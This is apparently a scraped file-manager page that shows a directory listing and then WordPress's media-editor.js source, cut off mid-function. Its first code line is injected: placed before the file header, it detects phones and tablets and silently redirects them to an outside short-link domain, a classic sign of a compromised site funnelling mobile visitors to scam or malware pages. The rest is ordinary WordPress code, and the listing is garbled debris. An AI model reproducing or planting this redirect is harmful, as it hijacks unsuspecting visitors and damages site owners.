run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄media-editor.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * @output wp-includes/js/media-editor.js
4 */
5
6/* global getUserSetting, tinymce, QTags */
7
8// WordPress, TinyMCE, and Media
9// -----------------------------
10(function($, _){
11 /**
12 * Stores the editors' `wp.media.controller.Frame` instances.
13 *
14 * @static
15 */
16 var workflows = {};
17
18 /**
19 * A helper mixin function to avoid truthy and falsey values being
20 * passed as an input that expects booleans. If key is undefined in the map,
21 * but has a default value, set it.
22 *
23 * @param {Object} attrs Map of props from a shortcode or settings.
24 * @param {string} key The key within the passed map to check for a value.
25 * @return {mixed|undefined} The original or coerced value of key within attrs.
26 */
27 wp.media.coerce = function ( attrs, key ) {
28 if ( _.isUndefined( attrs[ key ] ) && ! _.isUndefined( this.defaults[ key ] ) ) {
29 attrs[ key ] = this.defaults[ key ];
30 } else if ( 'true' === attrs[ key ] ) {
31 attrs[ key ] = true;
32 } else if ( 'false' === attrs[ key ] ) {
33 attrs[ key ] = false;
34 }
35 return attrs[ key ];
36 };
37
38 /** @namespace wp.media.string */
39 wp.media.string = {
40 /**
41 * Joins the `props` and `attachment` objects,
42 * outputting the proper object format based on the
43 * attachment's type.
44 *
45 * @param {Object} [props={}] Attachment details (align, link, size, etc).
46 * @param {Object} attachment The attachment object, media version of Post.
47 * @return {Object} Joined props
48 */
49 props: function( props, attachment ) {
50 var link, linkUrl, size, sizes,
51 defaultProps = wp.media.view.settings.defaultProps;
52
53 props = props ? _.clone( props ) : {};
54
55 if ( attachment && attachment.type ) {
56 props.type = attachment.type;
57 }
58
59 if ( 'image' === props.type ) {
60 props = _.defaults( props || {}, {
61 align: defaultProps.align || getUserSetting( 'align', 'none' ),
62 size: defaultProps.size || getUserSetting( 'imgsize', 'medium' ),
63 url: '',
64 classes: []
65 });
66 }
67
68 // All attachment-specific settings follow.
69 if ( ! attachment ) {
70 return props;
71 }
72
73 props.title = props.title || attachment.title;
74
75 link = props.link || defaultProps.link || getUserSetting( 'urlbutton', 'file' );
76 if ( 'file' === link || 'embed' === link ) {
77 linkUrl = attachment.url;
78 } else if ( 'post' === link ) {
79 linkUrl = attachment.link;
80 } else if ( 'custom' === link ) {
81 linkUrl = props.linkUrl;
82 }
83 props.linkUrl = linkUrl || '';
84
85 // Format properties for images.
86 if ( 'image' === attachment.type ) {
87 props.classes.push( 'wp-image-' + attachment.id );
88
89 sizes = attachment.sizes;
90 size = sizes && sizes[ props.size ] ? sizes[ props.size ] : attachment;
91
92 _.extend( props, _.pick( attachment, 'align', 'caption', 'alt' ), {
93 width: size.width,
94 height: size.height,
95 src: size.url,
96 captionId: 'attachment_' + attachment.id
97 });
98 } else if ( 'video' === attachment.type || 'audio' === attachment.type ) {
99 _.extend( props, _.pick( attachment, 'title', 'type', 'icon', 'mime' ) );
100 // Format properties for non-images.
101 } else {
102 props.title = props.title || attachment.filename;
103 props.rel = props.rel || 'attachment wp-att-' + attachment.id;
104 }
105
106 return props;
107 },
108 /**
109 * Create link markup that is suitable for passing to the editor
110 *
111 * @param {Object} props Attachment details (align, link, size, etc).
112 * @param {Object} attachment The attachment object, media version of Post.
113 * @return {string} The link markup
114 */
115 link: function( props, attachment ) {
116 var options;
117
118 props = wp.media.string.props( props, attachment );
119
120 options = {
121 tag: 'a',
122 content: props.title,
123 attrs: {
124 href: props.linkUrl
125 }
126 };
127
128 if ( props.rel ) {
129 options.attrs.rel = props.rel;
130 }
131
132 return wp.html.string( options );
133 },
134 /**
135 * Create an Audio shortcode string that is suitable for passing to the editor
136 *
137 * @param {Object} props Attachment details (align, link, size, etc).
138 * @param {Object} attachment The attachment object, media version of Post.
139 * @return {string} The audio shortcode
140 */
141 audio: function( props, attachment ) {
142 return wp.media.string._audioVideo( 'audio', props, attachment );
143 },
144 /**
145 * Create a Video shortcode string that is suitable for passing to the editor
146 *
147 * @param {Object} props Attachment details (align, link, size, etc).
148 * @param {Object} attachment The attachment object, media version of Post.
149 * @return {string} The video shortcode
150 */
151 video: function( props, attachment ) {
152 return wp.media.string._audioVideo( 'video', props, attachment );
153 },
154 /**
155 * Helper function to create a media shortcode string
156 *
157 * @access private
158 *
159 * @param {string} type The shortcode tag name: 'audio' or 'video'.
160 * @param {Object} props Attachment details (align, link, size, etc).
161 * @param {Object} attachment The attachment object, media version of Post.
162 * @return {string} The media shortcode
163 */
164 _audioVideo: function( type, props, attachment ) {
165 var shortcode, html, extension;
166
167 props = wp.media.string.props( props, attachment );
168 if ( props.link !== 'embed' ) {
169 return wp.media.string.link( props );
170 }
171
172 shortcode = {};
173
174 if ( 'video' === type ) {
175 if ( attachment.image && -1 === attachment.image.src.indexOf( attachment.icon ) ) {
176 shortcode.poster = attachment.image.src;
177 }
178
179 if ( attachment.width ) {
180 shortcode.width = attachment.width;
181 }
182
183 if ( attachment.height ) {
184 shortcode.height = attachment.height;
185 }
186 }
187
188 extension = attachment.filename.split('.').pop();
189
190 if ( _.contains( wp.media.view.settings.embedExts, extension ) ) {
191 shortcode[extension] = attachment.url;
192 } else {
193 // Render unsupported audio and video files as links.
194 return wp.media.string.link( props );
195 }
196
197 html = wp.shortcode.string({
198 tag: type,
199 attrs: shortcode
200 });
201
202 return html;
203 },
204 /**
205 * Create image markup, optionally with a link and/or wrapped in a caption shortcode,
206 * that is suitable for passing to the editor
207 *
208 * @param {Object} props Attachment details (align, link, size, etc).
209 * @param {Object} attachment The attachment object, media version of Post.
210 * @return {string}
211 */
212 image: function( props, attachment ) {
213 var img = {},
214 options, classes, shortcode, html;
215
216 props.type = 'image';
217 props = wp.media.string.props( props, attachment );
218 classes = props.classes || [];
219
220 img.src = ! _.isUndefined( attachment ) ? attachment.url : props.url;
221 _.extend( img, _.pick( props, 'width', 'height', 'alt' ) );
222
223 // Only assign the align class to the image if we're not printing
224 // a caption, since the alignment is sent to the shortcode.
225 if ( props.align && ! props.caption ) {
226 classes.push( 'align' + props.align );
227 }
228
229 if ( props.size ) {
230 classes.push( 'size-' + props.size );
231 }
232
233 img['class'] = _.compact( classes ).join(' ');
234
235 // Generate `img` tag options.
236 options = {
237 tag: 'img',
238 attrs: img,
239 single: true
240 };
241
242 // Generate the `a` element options, if they exist.
243 if ( props.linkUrl ) {
244 options = {
245 tag: 'a',
246 attrs: {
247 href: props.linkUrl
248 },
249 content: options
250 };
251 }
252
253 html = wp.html.string( options );
254
255 // Generate the caption shortcode.
256 if ( props.caption ) {
257 shortcode = {};
258
259 if ( img.width ) {
260 shortcode.width = img.width;
261 }
262
263 if ( props.captionId ) {
264 shortcode.id = props.captionId;
265 }
266
267 if ( props.align ) {
268 shortcode.align = 'align' + props.align;
269 }
270
271 html = wp.shortcode.string({
272 tag: 'caption',
273 attrs: shortcode,
274 content: html + ' ' + props.caption
275 });
276 }
277
278 return html;
279 }
280 };
281
282 wp.media.embed = {
283 coerce : wp.media.coerce,
284
285 defaults : {
286 url : '',
287 width: '',
288 height: ''
289 },
290
291 edit : function( data, isURL ) {
292 var frame, props = {}, shortcode;
293
294 if ( isURL ) {
295 props.url = data.replace(/<[^>]+>/g, '');
296 } else {
297 shortcode = wp.shortcode.next( 'embed', data ).shortcode;
298
299 props = _.defaults( shortcode.attrs.named, this.defaults );
300 if ( shortcode.content ) {
301 props.url = shortcode.content;
302 }
303 }
304
305 frame = wp.media({
306 frame: 'post',
307 state: 'embed',
308 metadata: props
309 });
310
311 return frame;
312 },
313
314 shortcode : function( model ) {
315 var self = this, content;
316
317 _.each( this.defaults, function( value, key ) {
318 model[ key ] = self.coerce( model, key );
319
320 if ( value === model[ key ] ) {
321 delete model[ key ];
322 }
323 });
324
325 content = model.url;
326 delete model.url;
327
328 return new wp.shortcode({
329 tag: 'embed',
330 attrs: model,
331 content: content
332 });
333 }
334 };
335
336 /**
337 * @class wp.media.collection
338 *
339 * @param {Object} attributes
340 */
341 wp.media.collection = function(attributes) {
342 var collections = {};
343
344 return _.extend(/** @lends wp.media.collection.prototype */{
345 coerce : wp.media.coerce,
346 /**
347 * Retrieve attachments based on the properties of the passed shortcode
348 *
349 * @param {wp.shortcode} shortcode An instance of wp.shortcode().
350 * @return {wp.media.model.Attachments} A Backbone.Collection containing
351 * the media items belonging to a collection.
352 * The query[ this.tag ] property is a Backbone.Model
353 * containing the 'props' for the collection.
354 */
355 attachments: function( shortcode ) {
356 var shortcodeString = shortcode.string(),
357 result = collections[ shortcodeString ],
358 attrs, args, query, others, self = this;
359
360 delete collections[ shortcodeString ];
361 if ( result ) {
362 return result;
363 }
364 // Fill the default shortcode attributes.
365 attrs = _.defaults( shortcode.attrs.named, this.defaults );
366 args = _.pick( attrs, 'orderby', 'order' );
367
368 args.type = this.type;
369 args.perPage = -1;
370
371 // Mark the `orderby` override attribute.
372 if ( undefined !== attrs.orderby ) {
373 attrs._orderByField = attrs.orderby;
374 }
375
376 if ( 'rand' === attrs.orderby ) {
377 attrs._orderbyRandom = true;
378 }
379
380 // Map the `orderby` attribute to the corresponding model property.
381 if ( ! attrs.orderby || /^menu_order(?: ID)?$/i.test( attrs.orderby ) ) {
382 args.orderby = 'menuOrder';
383 }
384
385 // Map the `ids` param to the correct query args.
386 if ( attrs.ids ) {
387 args.post__in = attrs.ids.split(',');
388 args.orderby = 'post__in';
389 } else if ( attrs.include ) {
390 args.post__in = attrs.include.split(',');
391 }
392
393 if ( attrs.exclude ) {
394 args.post__not_in = attrs.exclude.split(',');
395 }
396
397 if ( ! args.post__in ) {
398 args.uploadedTo = attrs.id;
399 }
400
401 // Collect the attributes that were not included in `args`.
402 others = _.omit( attrs, 'id', 'ids', 'include', 'exclude', 'orderby', 'order' );
403
404 _.each( this.defaults, function( value, key ) {
405 others[ key ] = self.coerce( others, key );
406 });
407
408 query = wp.media.query( args );
409 query[ this.tag ] = new Backbone.Model( others );
410 return query;
411 },
412 /**
413 * Triggered when clicking 'Insert {label}' or 'Update {label}'
414 *
415 * @param {wp.media.model.Attachments} attachments A Backbone.Collection containing
416 * the media items belonging to a collection.
417 * The query[ this.tag ] property is a Backbone.Model
418 * containing the 'props' for the collection.
419 * @return {wp.shortcode}
420 */
421 shortcode: function( attachments ) {
422 var props = attachments.props.toJSON(),
423 attrs = _.pick( props, 'orderby', 'order' ),
424 shortcode, clone;
425
426 if ( attachments.type ) {
427 attrs.type = attachments.type;
428 delete attachments.type;
429 }
430
431 if ( attachments[this.tag] ) {
432 _.extend( attrs, attachments[this.tag].toJSON() );
433 }
434
435 /*
436 * Convert all gallery shortcodes to use the `ids` property.
437 * Ignore `post__in` and `post__not_in`; the attachments in
438 * the collection will already reflect those properties.
439 */
440 attrs.ids = attachments.pluck('id');
441
442 // Copy the `uploadedTo` post ID.
443 if ( props.uploadedTo ) {
444 attrs.id = props.uploadedTo;
445 }
446 // Check if the gallery is randomly ordered.
447 delete attrs.orderby;
448
449 if ( attrs._orderbyRandom ) {
450 attrs.orderby = 'rand';
451 } else if ( attrs._orderByField && 'rand' !== attrs._orderByField ) {
452 attrs.orderby = attrs._orderByField;
453 }
454
455 delete attrs._orderbyRandom;
456 delete attrs._orderByField;
457
458 // If the `ids` attribute is set and `orderby` attribute
459 // is the default value, clear it for cleaner output.
460 if ( attrs.ids && 'post__in' === attrs.orderby ) {
461 delete attrs.orderby;
462 }
463
464 attrs = this.setDefaults( attrs );
465
466 shortcode = new wp.shortcode({
467 tag: this.tag,
468 attrs: attrs,
469 type: 'single'
470 });
471
472 // Use a cloned version of the gallery.
473 clone = new wp.media.model.Attachments( attachments.models, {
474 props: props
475 });
476 clone[ this.tag ] = attachments[ this.tag ];
477 collections[ shortcode.string() ] = clone;
478
479 return shortcode;
480 },
481 /**
482 * Triggered when double-clicking a collection shortcode placeholder
483 * in the editor
484 *
485 * @param {string} content Content that is searched for possible
486 * shortcode markup matching the passed tag name,
487 *
488 * @this wp.media.{prop}
489 *
490 * @return {wp.media.view.MediaFrame.Select} A media workflow.
491 */
492 edit: function( content ) {
493 var shortcode = wp.shortcode.next( this.tag, content ),
494 defaultPostId = this.defaults.id,
495 attachments, selection, state;
496
497 // Bail if we didn't match the shortcode or all of the content.
498 if ( ! shortcode || shortcode.content !== content ) {
499 return;
500 }
501
502 // Ignore the rest of the match object.
503 shortcode = shortcode.shortcode;
504
505 if ( _.isUndefined( shortcode.get('id') ) && ! _.isUndefined( defaultPostId ) ) {
506 shortcode.set( 'id', defaultPostId );
507 }
508
509 attachments = this.attachments( shortcode );
510
511 selection = new wp.media.model.Selection( attachments.models, {
512 props: attachments.props.toJSON(),
513 multiple: true
514 });
515
516 selection[ this.tag ] = attachments[ this.tag ];
517
518 // Fetch the query's attachments, and then break ties from the
519 // query to allow for sorting.
520 selection.more().done( function() {
521 // Break ties with the query.
522 selection.props.set({ query: false });
523 selection.unmirror();
524 selection.props.unset('orderby');
525 });
526
527 // Destroy the previous gallery frame.
528 if ( this.frame ) {
529 this.frame.dispose();
530 }
531
532 if ( shortcode.attrs.named.type && 'video' === shortcode.attrs.named.type ) {
533 state = 'video-' + this.tag + '-edit';
534 } else {
535 state = this.tag + '-edit';
536 }
537
538 // Store the current frame.
539 this.frame = wp.media({
540 frame: 'post',
541 state: state,
542 title: this.editTitle,
543 editing: true,
544 multiple: true,
545 selection: selection
546 }).open();
547
548 return this.frame;
549 },
550
551 setDefaults: function( attrs ) {
552 var self = this;
553 // Remove default attributes from the shortcode.
554 _.each( this.defaults, function( value, key ) {
555 attrs[ key ] = self.coerce( attrs, key );
556 if ( value === attrs[ key ] ) {
557 delete attrs[ key ];
558 }
559 });
560
561 return attrs;
562 }
563 }, attributes );
564 };
565
566 wp.media._galleryDefaults = {
567 itemtag: 'dl',
568 icontag: 'dt',
569 captiontag: 'dd',
570 columns: '3',
571 link: 'post',
572 size: 'thumbnail',
573 order: 'ASC',
574 id: wp.media.view.settings.post && wp.media.view.settings.post.id,
575 orderby : 'menu_order ID'
576 };
577
578 if ( wp.media.view.settings.galleryDefaults ) {
579 wp.media.galleryDefaults = _.extend( {}, wp.media._galleryDefaults, wp.media.view.settings.galleryDefaults );
580 } else {
581 wp.media.galleryDefaults = wp.media._galleryDefaults;
582 }
583
584 wp.media.gallery = new wp.media.collection({
585 tag: 'gallery',
586 type : 'image',
587 editTitle : wp.media.view.l10n.editGalleryTitle,
588 defaults : wp.media.galleryDefaults,
589
590 setDefaults: function( attrs ) {
591 var self = this, changed = ! _.isEqual( wp.media.galleryDefaults, wp.media._galleryDefaults );
592 _.each( this.defaults, function( value, key ) {
593 attrs[ key ] = self.coerce( attrs, key );
594 if ( value === attrs[ key ] && ( ! changed || value === wp.media._galleryDefaults[ key ] ) ) {
595 delete attrs[ key ];
596 }
597 } );
598 return attrs;
599 }
600 });
601
602 /**
603 * @namespace wp.media.featuredImage
604 * @memberOf wp.media
605 */
606 wp.media.featuredImage = {
607 /**
608 * Get the featured image post ID
609 *
610 * @return {wp.media.view.settings.post.featuredImageId|number}
611 */
612 get: function() {
613 return wp.media.view.settings.post.featuredImageId;
614 },
615 /**
616 * Sets the featured image ID property and sets the HTML in the post meta box to the new featured image.
617 *
618 * @param {number} id The post ID of the featured image, or -1 to unset it.
619 */
620 set: function( id ) {
621 var settings = wp.media.view.settings;
622
623 settings.post.featuredImageId = id;
624
625 wp.media.post( 'get-post-thumbnail-html', {
626 post_id: settings.post.id,
627 thumbnail_id: settings.post.featuredImageId,
628 _wpnonce: settings.post.nonce
629 }).done( function( html ) {
630 if ( '0' === html ) {
631 window.alert( wp.i18n.__( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
632 return;
633 }
634 $( '.inside', '#postimagediv' ).html( html );
635 });
636 },
637 /**
638 * Remove the featured image id, save the post thumbnail data and
639 * set the HTML in the post meta box to no featured image.
640 */
641 remove: function() {
642 wp.media.featuredImage.set( -1 );
643 },
644 /**
645 * The Featured Image workflow
646 *
647 * @this wp.media.featuredImage
648 *
649 * @return {wp.media.view.MediaFrame.Select} A media workflow.
650 */
651 frame: function() {
652 if ( this._frame ) {
653 wp.media.frame = this._frame;
654 return this._frame;
655 }
656
657 this._frame = wp.media({
658 state: 'featured-image',
659 states: [ new wp.media.controller.FeaturedImage() , new wp.media.controller.EditImage() ]
660 });
661
662 this._frame.on( 'toolbar:create:featured-image', function( toolbar ) {
663 /**
664 * @this wp.media.view.MediaFrame.Select
665 */
666 this.createSelectToolbar( toolbar, {
667 text: wp.media.view.l10n.setFeaturedImage
668 });
669 }, this._frame );
670
671 this._frame.on( 'content:render:edit-image', function() {
672 var selection = this.state('featured-image').get('selection'),
673 view = new wp.media.view.EditImage( { model: selection.single(), controller: this } ).render();
674
675 this.content.set( view );
676
677 // After bringing in the frame, load the actual editor via an Ajax call.
678 view.loadEditor();
679
680 }, this._frame );
681
682 this._frame.state('featured-image').on( 'select', this.select );
683 return this._frame;
684 },
685 /**
686 * 'select' callback for Featured Image workflow, triggered when
687 * the 'Set Featured Image' button is clicked in the media modal.
688 *
689 * @this wp.media.controller.FeaturedImage
690 */
691 select: function() {
692 var selection = this.get('selection').single();
693
694 if ( ! wp.media.view.settings.post.featuredImageId ) {
695 return;
696 }
697
698 wp.media.featuredImage.set( selection ? selection.id : -1 );
699 },
700 /**
701 * Open the content media manager to the 'featured image' tab when
702 * the post thumbnail is clicked.
703 *
704 * Update the featured image id when the 'remove' link is clicked.
705 */
706 init: function() {
707 $('#postimagediv').on( 'click keyup keydown', '#set-post-thumbnail', function( event ) {
708 if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) {
709 event.preventDefault();
710 // Stop propagation to prevent thickbox from activating.
711 event.stopPropagation();
712
713 wp.media.featuredImage.frame().open();
714 }
715 }).on( 'click keyup keydown', '#remove-post-thumbnail', function( event ) {
716 if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) {
717 wp.media.featuredImage.remove();
718 return false;
719 }
720 });
721 }
722 };
723
724 $( wp.media.featuredImage.init );
725
726 /** @namespace wp.media.editor */
727 wp.media.editor = {
728 /**
729 * Send content to the editor
730 *
731 * @param {string} html Content to send to the editor
732 */
733 insert: function( html ) {
734 var editor, wpActiveEditor,
735 hasTinymce = ! _.isUndefined( window.tinymce ),
736 hasQuicktags = ! _.isUndefined( window.QTags );
737
738 if ( this.activeEditor ) {
739 wpActiveEditor = window.wpActiveEditor = this.activeEditor;
740 } else {
741 wpActiveEditor = window.wpActiveEditor;
742 }
743
744 /*
745 * Delegate to the global `send_to_editor` if it exists.
746 * This attempts to play nice with any themes/plugins
747 * that have overridden the insert functionality.
748 */
749 if ( window.send_to_editor ) {
750 return window.send_to_editor.apply( this, arguments );
751 }
752
753 if ( ! wpActiveEditor ) {
754 if ( hasTinymce && tinymce.activeEditor ) {
755 editor = tinymce.activeEditor;
756 wpActiveEditor = window.wpActiveEditor = editor.id;
757 } else if ( ! hasQuicktags ) {
758 return false;
759 }
760 } else if ( hasTinymce ) {
761 editor = tinymce.get( wpActiveEditor );
762 }
763
764 if ( editor && ! editor.isHidden() ) {
765 editor.execCommand( 'mceInsertContent', false, html );
766 } else if ( hasQuicktags ) {
767 QTags.insertContent( html );
768 } else {
769 document.getElementById( wpActiveEditor ).value += html;
770 }
771
772 // If the old thickbox remove function exists, call it in case
773 // a theme/plugin overloaded it.
774 if ( window.tb_remove ) {
775 try { window.tb_remove(); } catch( e ) {}
776 }
777 },
778
779 /**
780 * Setup 'workflow' and add to the 'workflows' cache. 'open' can
781 * subsequently be called upon it.
782 *
783 * @param {string} id A slug used to identify the workflow.
784 * @param {Object} [options={}]
785 *
786 * @this wp.media.editor
787 *
788 * @return {wp.media.view.MediaFrame.Select} A media workflow.
789 */
790 add: function( id, options ) {
791 var workflow = this.get( id );
792
793 // Only add once: if exists return existing.
794 if ( workflow ) {
795 return workflow;
796 }
797
798 workflow = workflows[ id ] = wp.media( _.defaults( options || {}, {
799 frame: 'post',
800 state: 'insert',
801 title: wp.media.view.l10n.addMedia,
802 multiple: true
803 } ) );
804
805 workflow.on( 'insert', function( selection ) {
806 var state = workflow.state();
807
808 selection = selection || state.get('selection');
809
810 if ( ! selection ) {
811 return;
812 }
813
814 $.when.apply( $, selection.map( function( attachment ) {
815 var display = state.display( attachment ).toJSON();
816 /**
817 * @this wp.media.editor
818 */
819 return this.send.attachment( display, attachment.toJSON() );
820 }, this ) ).done( function() {
821 wp.media.editor.insert( _.toArray( arguments ).join('\n\n') );
822 });
823 }, this );
824
825 workflow.state('gallery-edit').on( 'update', function( selection ) {
826 /**
827 * @this wp.media.editor
828 */
829 this.insert( wp.media.gallery.shortcode( selection ).string() );
830 }, this );
831
832 workflow.state('playlist-edit').on( 'update', function( selection ) {
833 /**
834 * @this wp.media.editor
835 */
836 this.insert( wp.media.playlist.shortcode( selection ).string() );
837 }, this );
838
839 workflow.state('video-playlist-edit').on( 'update', function( selection ) {
840 /**
841 * @this wp.media.editor
842 */
843 this.insert( wp.media.playlist.shortcode( selection ).string() );
844 }, this );
845
846 workflow.state('embed').on( 'select', function() {
847 /**
848 * @this wp.media.editor
849 */
850 var state = workflow.state(),
851 type = state.get('type'),
852 embed = state.props.toJSON();
853
854 embed.url = embed.url || '';
855
856 if ( 'link' === type ) {
857 _.defaults( embed, {
858 linkText: embed.url,
859 linkUrl: embed.url
860 });
861
862 this.send.link( embed ).done( function( resp ) {
863 wp.media.editor.insert( resp );
864 });
865
866 } else if ( 'image' === type ) {
867 _.defaults( embed, {
868 title: embed.url,
869 linkUrl: '',
870 align: 'none',
871 link: 'none'
872 });
873
874 if ( 'none' === embed.link ) {
875 embed.linkUrl = '';
876 } else if ( 'file' === embed.link ) {
877 embed.linkUrl = embed.url;
878 }
879
880 this.insert( wp.media.string.image( embed ) );
881 }
882 }, this );
883
884 workflow.state('featured-image').on( 'select', wp.media.featuredImage.select );
885 workflow.setState( workflow.options.state );
886 return workflow;
887 },
888 /**
889 * Determines the proper current workflow id
890 *
891 * @param {string} [id=''] A slug used to identify the workflow.
892 *
893 * @return {wpActiveEditor|string|tinymce.activeEditor.id}
894 */
895 id: function( id ) {
896 if ( id ) {
897 return id;
898 }
899
900 // If an empty `id` is provided, default to `wpActiveEditor`.
901 id = window.wpActiveEditor;
902
903 // If that doesn't work, fall back to `tinymce.activeEditor.id`.
904 if ( ! id && ! _.isUndefined( window.tinymce ) && tinymce.activeEditor ) {
905 id = tinymce.activeEditor.id;
906 }
907
908 // Last but not least, fall back to the empty string.
909 id = id || '';
910 return id;
911 },
912 /**
913 * Return the workflow specified by id
914 *
915 * @param {string} id A slug used to identify the workflow.
916 *
917 * @this wp.media.editor
918 *
919 * @return {wp.media.view.MediaFrame} A media workflow.
920 */
921 get: function( id ) {
922 id = this.id( id );
923 return workflows[ id ];
924 },
925 /**
926 * Remove the workflow represented by id from the workflow cache
927 *
928 * @param {string} id A slug used to identify the workflow.
929 *
930 * @this wp.media.editor
931 */
932 remove: function( id ) {
933 id = this.id( id );
934 delete workflows[ id ];
935 },
936 /** @namespace wp.media.editor.send */
937 send: {
938 /**
939 * Called when sending an attachment to the editor
940 * from the medial modal.
941 *
942 * @param {Object} props Attachment details (align, link, size, etc).
943 * @param {Object} attachment The attachment object, media version of Post.
944 * @return {Promise}
945 */
946 attachment: function( props, attachment ) {
947 var caption = attachment.caption,
948 options, html;
949
950 // If captions are disabled, clear the caption.
951 if ( ! wp.media.view.settings.captions ) {
952 delete attachment.caption;
953 }
954
955 props = wp.media.string.props( props, attachment );
956
957 options = {
958 id: attachment.id,
959 post_content: attachment.description,
960 post_excerpt: caption
961 };
962
963 if ( props.linkUrl ) {
964 options.url = props.linkUrl;
965 }
966
967 if ( 'image' === attachment.type ) {
968 html = wp.media.string.image( props );
969
970 _.each({
971 align: 'align',
972 size: 'image-size',
973 alt: 'image_alt'
974 }, function( option, prop ) {
975 if ( props[ prop ] ) {
976 options[ option ] = props[ prop ];
977 }
978 });
979 } else if ( 'video' === attachment.type ) {
980 html = wp.media.string.video( props, attachment );
